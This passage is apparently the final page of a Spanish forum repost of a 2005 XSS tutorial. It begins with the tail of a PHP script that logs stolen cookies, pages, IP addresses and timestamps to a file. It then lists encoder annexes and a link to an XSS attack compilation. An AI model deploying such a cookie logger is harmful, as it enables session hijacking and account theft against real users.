Cookie: '.$cookie.'
Pagina: '.$re.'
 IP: ' .$ip. '
 Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);
?>

Links
  • Anexo(ADB.htm) -Codificador URL, UTF-8 y de Entidades HTML
  • Anexo(EUU.htm) -Codificador Hexadecimal, Decimal, Binario
  • Anexo(b64.htm) -Codificador y decodificador de Base64 y Radix64
  • http://ha.ckers.org/xss.html -Gran recopilatorio de ataques XSS comunes

Citar
(c) Sirdarckcat 2005
Autorizo la reproduccion total o parcial de este documento de acuerdo con la licencia de documentación libre de GNU, una copia puede ser encontrada en http://www.gnu.org/
Páginas: 1 2 3 4 5 [6]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines